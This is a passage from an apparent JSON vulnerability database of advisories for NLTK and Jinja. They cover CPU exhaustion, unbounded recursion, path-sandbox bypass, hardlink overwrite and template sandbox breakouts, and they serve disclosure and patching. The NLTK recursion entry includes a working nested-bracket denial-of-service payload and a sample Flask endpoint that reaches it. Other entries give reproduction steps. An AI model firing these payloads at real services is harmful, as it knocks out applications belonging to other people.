bytes), with the final call occurring after\nEOF. This confirms that every iteration rescans the accumulated fragment.\n\n## Impact\n\nApplications that process attacker-controlled XML corpus files through an affected reader\nare vulnerable. The attacker needs only write access to a path the reader will open. No\nNLTK credentials or special privileges required. Offline tools reading only trusted\nlocal corpora are not at risk.\n\n**Affected versions:** Verified in NLTK 3.9.4, 3.10.0, and the current develop branch.\nHistorical inspection indicates the same loop structure has existed since the\nintroduction of `XMLCorpusView` (2007), but only the listed versions were\nexperimentally verified. No patch exists in any published release.\n\nThis issue results in CPU exhaustion and may allow denial of service in applications\nthat process attacker-controlled XML corpus files.\n\n## Suggested Fix\n\nAvoid rescanning the accumulated fragment from the beginning after each 1 KiB read.\nIncremental parsing, bounded fragment accumulation, or another streaming approach would\neliminate the quadratic behavior while preserving existing semantics.\n\nA regression test should verify that `BNCCorpusReader.words()` raises `ValueError`\nwithin a fixed timeout (e.g. 5 seconds) against a 2 MiB malformed input. The existing\n`test_xmldocs_security.py` covers only the prior ReDoS payloads and does not exercise\nthis path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-vp2x-qp44-57v7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81723"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/7808692d451b962711005d954859bb83aabcf8fa"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.3-quadratic-cpu-exhaustion-via-xmlcorpusview"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-81724","published":"2026-09-02T08:43:54Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3739","CVE-2026-81724","GHSA-cw6x-m8jw-qmrh"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input","details":"### Summary\n\n`nltk.featstruct.FeatStructReader` (used by `FeatStruct(str)` and by `FeatureGrammar.fromstring()`) parses feature-structure strings such as `[a=1]` with a recursive-descent parser that has no nesting-depth limit. A small, trivially-crafted input (~700 bytes) with deeply nested brackets drives the parser past Python's recursion limit and raises an **unhandled `RecursionError`** instead of the library's normal, catchable `ValueError`/`LogicalExpressionException`. Any application that parses user-supplied feature-structure or feature-grammar text (e.g. NLP teaching tools, grammar \"playgrounds\", unification-grammar-based NLU pipelines) can be crashed by an unauthenticated input with no special privileges. This is a Denial of Service issue (CWE-674, Uncontrolled Recursion), not a memory-safety or code-execution issue.\n\nThis appears to be the same bug class as two issues already fixed elsewhere in the codebase — `nltk/jsontags.py` (`JSONTaggedDecoder.decode_obj`, guarded by `MAX_DECODE_DEPTH = 200`) and `nltk/sem/logic.py` (`LogicParser`, guarded by `MAX_PARSE_DEPTH = 200`) — but `nltk/featstruct.py` does not have an equivalent guard.\n\n### Details\n\nThe recursive call chain (current `develop` branch, `nltk/featstruct.py`):\n\n1. `FeatStructReader.fromstring()` ([`featstruct.py:2184`](nltk/featstruct.py#L2184)) calls `read_partial()` → `_read_partial()` ([`featstruct.py:2250`](nltk/featstruct.py#L2250)).\n2. `_read_partial()` dispatches to `_read_partial_featdict()`, which calls `_read_value()` ([`featstruct.py:2436`](nltk/featstruct.py#L2436)) for each feature's value.\n3. `_read_value()` calls `read_value()` ([`featstruct.py:2442`](nltk/featstruct.py#L2442)), which matches the value against `VALUE_HANDLERS` ([`featstruct.py:2478`](nltk/featstruct.py#L2478)).\n4. If the value itself starts with `[` (a nested feature structure), the matched handler is `read_fstruct_value` ([`featstruct.py:2479`](nltk/featstruct.py#L2479), defined at [`featstruct.py:2495`](nltk/featstruct.py#L2495)):\n   ```python\n   def read_fstruct_value(self, s, position, reentrances, match):\n       return self.read_partial(s, position, reentrances)\n   ```\n   This calls `read_partial()` again, which re-enters `_read_partial()` — the same function from step 1.\n\nThis closes a recursive cycle (`_read_partial → _read_value → read_value → read_fstruct_value → read_partial → _read_partial → ...`) with **no depth counter, no `MAX_*_DEPTH` constant, and no `try/except RecursionError`** anywhere in the class. Each additional `[` in the input adds one more full cycle of Python stack frames. Once the input nests deeply enough, Python's own recursion-limit protection fires and raises `RecursionError`, which is not a subclass of `ValueError` (the exception type this parser's own `_error()` helper raises for normal, well-formed parse errors) and therefore propagates uncaught through this API.\n\nFor comparison, `nltk/sem/logic.py`'s `LogicParser` was hardened against exactly this class of issue:\n```python\n#: Maximum expression-nesting depth the recursive-descent parser will\n#: descend to. Deeply nested input would otherwise recurse until Python\n#: raises an uncaught RecursionError and crashes the caller\n#: (uncontrolled recursion, CWE-674); past this depth a normal\n#: LogicalExpressionException is raised instead. Configurable.\nMAX_PARSE_DEPTH = 200\n```\n(`nltk/sem/logic.py:102-107`), and `nltk/jsontags.py`'s `JSONTaggedDecoder` similarly has `MAX_DECODE_DEPTH = 200` with an explicit depth check. `nltk/featstruct.py` has no analogous protection.\n\n`FeatureGrammar.fromstring()` (`nltk/grammar.py`) parses feature structures embedded in FCFG grammar rules via the same `FeatStructReader`, so the same crash is reachable through grammar-string parsing as well as through `FeatStruct()` directly.\n\n### PoC\n\nVerified against the current `develop` branch in a clean virtualenv (Python 3.12, NLTK installed from this checkout via `pip install -e .`):\n\n```python\nfrom nltk.featstruct import FeatStruct\n\ndepth = 167\npayload = \"[a=\" * depth + \"1\" + \"]\" * depth   # 669 bytes\nFeatStruct(payload)\n```\n\nResult:\n```\nTraceback (most recent call last):\n  ...\n  File \".../nltk/featstruct.py\", line 2310, in _read_partial_featdict\n    value, position = self._read_value(name, s, position, reentrances)\n  File \".../nltk/featstruct.py\", line 2440, in _read_value\n    return self.read_value(s, position, reentrances)\n  File \".../nltk/featstruct.py\", line 2446, in read_value\n    return handler_func(s, position, reentrances, match)\n  [... repeats ~167 times ...]\nRecursionError: maximum recursion depth exceeded\n```\n\n- Crash threshold: nesting depth 167 (binary-searched between 50 and 200).\n- Payload size: 669 bytes — fits trivially in a single HTTP request body/query parameter.\n- Time to crash: <2ms — no resource exhaustion is needed, only recursion depth.\n\nMinimal reproduction (no server required):\n```bash\npython3 -c \"\nfrom nltk.featstruct import FeatStruct\nFeatStruct('[a=' * 200 + '1' + ']' * 200)\n\"\n```\n\nIllustrative server-side context (not part of NLTK itself, but representative of how the bug becomes reachable):\n```python\nfrom flask import Flask, request\nfrom nltk.featstruct import FeatStruct\n\napp = Flask(__name__)\n\n@app.route(\"/parse\", methods=[\"POST\"])\ndef parse_grammar():\n    return {\"result\": str(FeatStruct(request.json[\"grammar\"]))}\n```\nA POST of `{\"grammar\": \"[a=\" * 200 + \"1\" + \"]\" * 200}` to this endpoint raises the uncaught `RecursionError` inside the request handler.\n\n### Impact\n\n**Vulnerability type:** Denial of Service via uncontrolled recursion (CWE-674). This is not a memory-corruption bug and does not lead to code execution or data disclosure — Python's own recursion-limit safety net converts what would be a C-level stack overflow into a catchable (but here, uncaught) `RecursionError`.\n\n**Who is affected:** Any application that passes externally-supplied text into `nltk.featstruct.FeatStruct()` or `nltk.grammar.FeatureGrammar.fromstring()` — for example, NLP/computational-linguistics teaching tools, unification-grammar demo services, or NLU pipelines that accept user-authored feature grammars. This is a narrower slice of NLTK's user base than, e.g., tokenization or POS tagging, since feature-structure/unification-grammar parsing is a more specialized part of the library.\n\n**Practical severity depends on deployment:**\n- In typical WSGI-style web frameworks (Flask/Django/FastAPI behind gunicorn/uwsgi), an uncaught exception inside a request handler is caught at the framework/server boundary: the single request fails (HTTP 500), the worker process itself survives, and unaffected requests are unimpacted.\n- In single-threaded or per-task-unprotected contexts (e.g. a queue-consuming worker without per-task exception isolation), the uncaught `RecursionError` can terminate the entire process; without a process supervisor that auto-restarts it, this is a persistent outage until manually restarted. An attacker who repeats the payload can keep such a worker in a crash loop for as long as the attack continues.\n\n**Suggested fix:** Add a depth counter and a `MAX_PARSE_DEPTH`-style constant to `FeatStructReader`, mirroring the existing fix in `nltk/sem/logic.py`, and raise the library's normal `ValueError`-based parse error once the limit is exceeded instead of letting `RecursionError` propagate.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-cw6x-m8jw-qmrh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81724"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/43c7b78cc8ea37e5cd3a129e27e32c415ea21cf1"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3739.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.3-denial-of-service-via-uncontrolled-recursion"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-81725","published":"2026-09-03T08:45:01Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3752","CVE-2026-81725","GHSA-8mpw-7fpc-4gqj"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks","details":"### Summary\n\n`Pl196xCorpusReader` still parses whole TEI blocks with multiple lazy regexes over attacker-controlled text. A malformed file with many opening tags and no matching closing tags forces repeated rescans and produces quadratic CPU growth in public reader APIs.\n\n### Details\n\n- **Vulnerability type:** Regular-expression denial of service\n- **Affected component:** `nltk.corpus.reader.pl196x.TEICorpusView.read_block` and `Pl196xCorpusReader` public methods\n- **Affected versions:** Published `3.9.4` and current source `v3.10.0-rc2` both reproduced.\n- **Patched versions:** Not yet patched\n- **Root cause:** Lazy `.*?` whole-block regexes rescan untrusted XML-like blocks from each opening-tag position.\n\nThe parser uses regexes for paragraphs, sentences, and word tags across the whole `<text>` block. When the attacker supplies many unmatched opening tags, each attempt scans toward the end of the block and fails, then restarts from the next opening tag. There is near four-times runtime growth each time the number of malformed `<p>` tags doubled, through normal public calls such as `words()` and `tagged_words()`.\n\n### PoC\n\n**Preconditions**\n- The application parses attacker-influenced PL196X or TEI-like corpus files through public reader APIs.\n\n**Steps**\n1. Create a corpus file with a valid header followed by a `<text>` block that contains many opening tags and no matching closing tags.\n2. Instantiate `Pl196xCorpusReader` on that corpus.\n3. Call `words()` or `tagged_words()` and measure elapsed time as the malformed tag count doubles.\n4. Observe near quadratic growth instead of near-linear behavior.\n\n**Minimal reproducible excerpt**\n\n```text\nsize=1000 0.014s\nsize=2000 0.057s\nsize=4000 0.231s\nsize=8000 0.927s\n```\n\n### Impact\n\nA consumer that accepts attacker-influenced corpus files can be forced into heavy CPU use and parser-thread stalling before the application concludes the input contains no valid content.\n\n### Remediation\n\nReplace the whole-block lazy-regex parser with a linear parser or bounded tokenizer, and add regression tests that assert near-linear behavior on malformed inputs with many unmatched tags.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-8mpw-7fpc-4gqj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81725"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/7808692d451b962711005d954859bb83aabcf8fa"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3752.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.3-regular-expression-denial-of-service-via-pl196xcorpusreader"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-81726","published":"2026-09-02T08:43:54Z","modified":"2026-11-03T03:48:10Z","upstream":["PYSEC-2026-3740","CVE-2026-81726","GHSA-8mgp-746c-j5xp"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0_3"},{"fixed":"2.0.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots","details":"### Summary\n\nSeveral model-artifact APIs still treat caller-controlled model paths as ordinary filenames even when NLTK path security is enforced. The same outside-root paths are rejected by guarded helpers, but these public read and write flows still use raw file APIs.\n\n### Details\n\n- **Vulnerability type:** File sandbox bypass\n- **Affected component:** `TransitionParser.train`, `TransitionParser.parse`, `AveragedPerceptron.save`, `AveragedPerceptron.load`, `PerceptronTagger.save_to_json`, `save_maxent_params`\n- **Affected versions:** Published `3.9.4` and current source `v3.10.0-rc2` both reproduced.\n- **Patched versions:** Not yet patched\n- **Root cause:** Model import and export helpers use built-in `open()` on caller-controlled paths instead of pathsec-aware helpers.\n\n`TransitionParser.train()` writes outside allowed roots, `TransitionParser.parse()` reads outside allowed roots, `AveragedPerceptron` bypasses the sandbox in both directions, and adjacent read-side helpers in the same family already show the intended guarded behavior. I confirmed outside-root reads and writes while `pathsec.open()` or the guarded sibling helpers rejected the same paths.\n\n### PoC\n\n**Preconditions**\n- The application enables `pathsec` enforcement and lets untrusted workflows choose model import or export paths.\n\n**Steps**\n1. Enable `pathsec.ENFORCE=True` and restrict allowed roots to a dedicated sandbox directory.\n2. Use public model import or export APIs with paths that point outside that root.\n3. Observe the same paths are rejected by negative-control guarded helpers such as `pathsec.open()`, `PerceptronTagger.load_from_json()`, or `load_maxent_params()`.\n4. Observe the vulnerable APIs still read or write outside-root files successfully.\n\n**Minimal reproducible excerpt**\n\n```text\ntransition_train_exists True\ntransition_parse_loader_read_bytes 13\naveraged_load_keys ['bias']\nmaxent_save wrote ['alwayson.tab', 'labels.txt']\n```\n\n### Impact\n\nConsumers that rely on `pathsec` for local containment can be tricked into reading or overwriting files outside approved roots through normal model persistence and loading APIs.\n\n### Remediation\n\nRoute all model-path file access through `nltk.pathsec.open()` or existing pathsec-aware helpers, and add regression tests that pair each vulnerable API with a negative control on the same path.\n\n### References\n\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L551-L571\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tag/perceptron.py#L106-L113\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tag/perceptron.py#L262-L273\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/classify/maxent.py#L1583-L1602","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-8mgp-746c-j5xp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81726"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3757"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3759"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3813"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/2a92b71827d754ae8920261e7ed0c4bb283ab2d7"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/a44a7af69bca87e92d9c4a701fcbbe4512e8d450"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/cbc98458b43de5f792f0382583c16df39e5c5117"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3740.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-through-3.10.3-path-traversal-via-model-artifact-apis"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-81727","published":"2026-09-02T08:43:54Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3741","CVE-2026-81727","GHSA-f794-5jv7-7672"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Downloader.download follows hardlinks and overwrites outside-root files","details":"### Summary\n\nNLTK's downloader now blocks symlink escapes during ZIP extraction, but it still treats pre-existing hardlinks inside the install tree as ordinary in-root files. A normal package install can therefore overwrite an outside-root inode through that hardlink.\n\n### Details\n\n- **Vulnerability type:** Filesystem containment bypass\n- **Affected component:** `nltk.downloader.Downloader.download`, `nltk.downloader.Downloader.incr_download`\n- **Affected versions:** Published `3.9.4` and current source `v3.10.0-rc2` both reproduced for the extraction-stage overwrite.\n- **Patched versions:** 3.10.3\n- **Root cause:** The downloader validates traversal and symlink conditions but does not reject pre-existing hardlink aliases inside the install tree.\n\nThe install flow correctly rejects a pre-existing symlink at an extraction target, yet it accepts a pre-existing hardlink at the same path. When the package is installed, extracted member data is written through the hardlink and mutates the outside inode.\n\n### PoC\n\n**Preconditions**\n- The attacker can plant files inside a writable shared downloader root on the same filesystem as the target file.\n\n**Steps**\n1. Prepare a downloader root and create a hardlink inside it that points to an outside target file.\n2. Confirm a symlink at the same path is rejected as a negative control.\n3. Run a normal `Downloader.download()` package install whose extracted member lands on the hardlink path.\n4. Observe the outside target file is overwritten while the downloader still reports the package as installed.\n\n**Minimal reproducible excerpt**\n\n```text\nextract_hardlink_before ORIGINAL\nextract_hardlink_after PWNED\nextract_hardlink_status installed\n```\n\n### Impact\n\nA shared or attacker-influenced downloader directory can be turned into an overwrite primitive against same-filesystem files outside the intended install root.\n\n### Remediation\n\nTreat pre-existing hardlinks as unsafe in extraction targets, verify that each write path stays within the intended install tree at the inode level, and add regression tests that pair hardlinks with existing symlink controls.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-f794-5jv7-7672"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81727"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3797"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/9e6d5f05902b9aaa1221a0a565448d17a9c9b3e8"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3741.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.3-hardlink-file-overwrite-via-downloader"}]}],"adr-viewer":[{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2024-22195","published":"2026-08-13T16:35:11Z","modified":"2026-09-17T19:58:23Z","upstream":["GHSA-h5c8-rqwp-cp95","CVE-2024-22195","PYSEC-2026-1473"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.3","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","details":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/01/msg00010.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00009.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5XCWZD464AJJJUBOO7CMPXQ4ROBC6JX2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DELCVUUYX75I5K4Q5WMJG4MUZJA6VAIP"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/O7YWRBX6JQCWC2XXCTZ55C7DPMGICCN3"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2024-34064","published":"2026-08-13T16:35:11Z","modified":"2026-09-17T19:58:23Z","upstream":["GHSA-h75v-3vvj-5mfj","CVE-2024-34064","PYSEC-2026-1474"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.4","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","details":"The `xmlattr` filter in affected versions of Jinja accepts keys containing non-attribute characters. XML/HTML attributes cannot contain spaces, `/`, `>`, or `=`, as each would then be interpreted as starting a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. The fix for the previous GHSA-h5c8-rqwp-cp95 CVE-2024-22195 only addressed spaces but not other characters.\n\nAccepting keys as user input is now explicitly considered an unintended use case of the `xmlattr` filter, and code that does so without otherwise validating the input should be flagged as insecure, regardless of Jinja version. Accepting _values_ as user input continues to be safe.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-h75v-3vvj-5mfj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34064"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/0668239dc6b44ef38e7a6c9f91f312fd4ca581cb"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00009.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/567XIGSZMABG6TSMYWD7MIYNJSUQQRUC"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GCLF44KY43BSVMTE6S53B4V5WP3FRRSE"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SSCBHIL6BYKR5NRCBXP4XMP2CEEKGFVS"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZALNWE3TXPPHVPSI3AZ5CTMSTAVN5UMS"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2024-56201","published":"2026-08-13T16:35:11Z","modified":"2026-09-17T19:58:23Z","upstream":["GHSA-gmj6-6f8f-6699","CVE-2024-56201","PYSEC-2026-1472"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through malicious filenames","details":"A bug in the Jinja compiler allows an attacker that controls both the content and filename of a template to execute arbitrary Python code, regardless of if Jinja's sandbox is used.\n\nTo exploit the vulnerability, an attacker needs to control both the filename and the contents of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates where the template author can also choose the template filename.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-gmj6-6f8f-6699"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56201"},{"type":"WEB","url":"https://github.com/pallets/jinja/issues/1792"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/767b23617628419ae3709ccfb02f9602ae9fe51f"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2024-56326","published":"2026-08-13T16:35:11Z","modified":"2026-09-17T19:58:23Z","upstream":["GHSA-q2x7-8rv6-6q7h","CVE-2024-56326","PYSEC-2026-1475"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through indirect reference to format method","details":"An oversight in how the Jinja sandboxed environment detects calls to `str.format` allows an 